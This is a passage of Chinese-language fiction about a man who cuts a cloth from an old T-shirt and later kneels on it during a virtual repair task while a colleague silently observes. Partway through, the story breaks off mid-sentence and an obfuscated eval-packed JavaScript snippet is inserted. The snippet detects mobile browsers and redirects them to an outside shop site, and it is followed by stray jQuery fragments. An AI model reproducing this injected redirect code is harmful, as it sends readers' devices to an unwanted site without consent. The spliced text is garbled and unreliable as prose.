张驭起床的时间是早晨五点五十分。
比闹钟早了大约六分钟。光线从窗帘边缘透进来，是偏冷的青灰色，室外应该是个阴天。他从床上坐起来的时候手先碰到了床头柜，那上面放着一件叠好的深灰色外套——就是那件，昨天穿过的那件，他昨晚回到家之后挂在了椅背上。他坐起来看了一眼那件外套，然后站起来去洗漱。客厅的地板上有昨天晚上留下的一个纸袋，里面放着一些旧资料的照片打印件，他已经整理完了。他把纸袋推到茶几的角落，然后走进厨房打开冰箱。
他在厨房里站了大约十秒，在看冰箱里的东西，在想今天要不要吃点什么——然后他关上了冰箱门，决定在游戏里吃。那样更快。他回到客厅的时候路过那件外套，停下来把外套拿起来抖了一下，确认口袋里是空的，然后把它挂回了椅背上。他记得他昨晚把一件东西从外套口袋里拿出来放到了茶几上，但他走过去看的时候茶几上是空的。他停了一下，然后想起来——那块布。他把它放在了玄关的鞋柜旁边。
他走过去拿了那块布。
是灰白色的，边缘没有裁齐，从一件旧的灰色T恤下摆剪下来的。他剪它的时候没有想过它会去什么地方，也没有想过它会被什么人感知到。他只是在某天晚上整理旧衣物的时候看到一件穿旧了的T恤，领口松了，袖口也起了毛边，该扔了。他动手剪的时候没有特别的目的，只是觉得"可以留一块布当抹布"。那块布被他剪下来之后叠好放在柜子里放了很久，久到他后来都忘了它。直到某天他在底层蹲了太久。站起来的时候膝盖发出了一声响声，响声穿过接入端口传到了终端里面，被某人的感知层接收到了。那天晚上他在浴室里活动膝盖的时候想到了那块布——放在柜子里，叠好的，边缘裁得很烂但布料是柔软的、有一定厚度的。
他把它从柜子里拿出来放到了外套口袋里。
第二天他登录的时候那块布在口袋里待了一整天，他没有用。他在需要蹲下的几个裂隙点都站着完成了修复，虽然李析没有明说让他站起来还是蹲下去，但他在决定站姿的时候考虑了那块布的位置——口袋外侧，右侧，靠近膝盖高度，拿取方便。他没有用。他在等一个合适的时机，一个不会让李析觉得"他在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930606|213624||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
特意展示"的时机。那个时机在第二十一天来了。
第二十一个裂隙点是一条中继通道，修复时间预计四十分钟。他在接入之前先蹲下来，左手伸进口袋取出那块布，展开、折叠成适合膝盖的厚度、垫在右膝下方，然后右手接入权限流开始修复。动作流畅，不需要停顿，因为他在心里已经模拟过几次了。他在垫布的时候没有说话，没有解释，没有给任何理由。他只是把它垫在了膝盖下面，让布料成为他和银灰色地面之间的那层东西。他感知不到李析在终端里看到这个动作时的反应，因为体感信号是单向的——李析能感知到他，他感知不到李析。但他知道那个人一定在感知层里接收到了布料触地的信号。那个人从不说破，他也从不解释。但第二天他又带了，第三天也是。那块布后来成了一种不需要被提及的共同确认，像接入界面那个绿色的光标一样——亮着就是亮了，不需要被解释为什么亮着。
他剪下那块布的时候没有想过这些。他只是坐在客厅的地板上，手里握着一件旧T恤，剪刀沿着下摆的边缘裁过去，布料断裂的声音很轻，像某种事物的开始。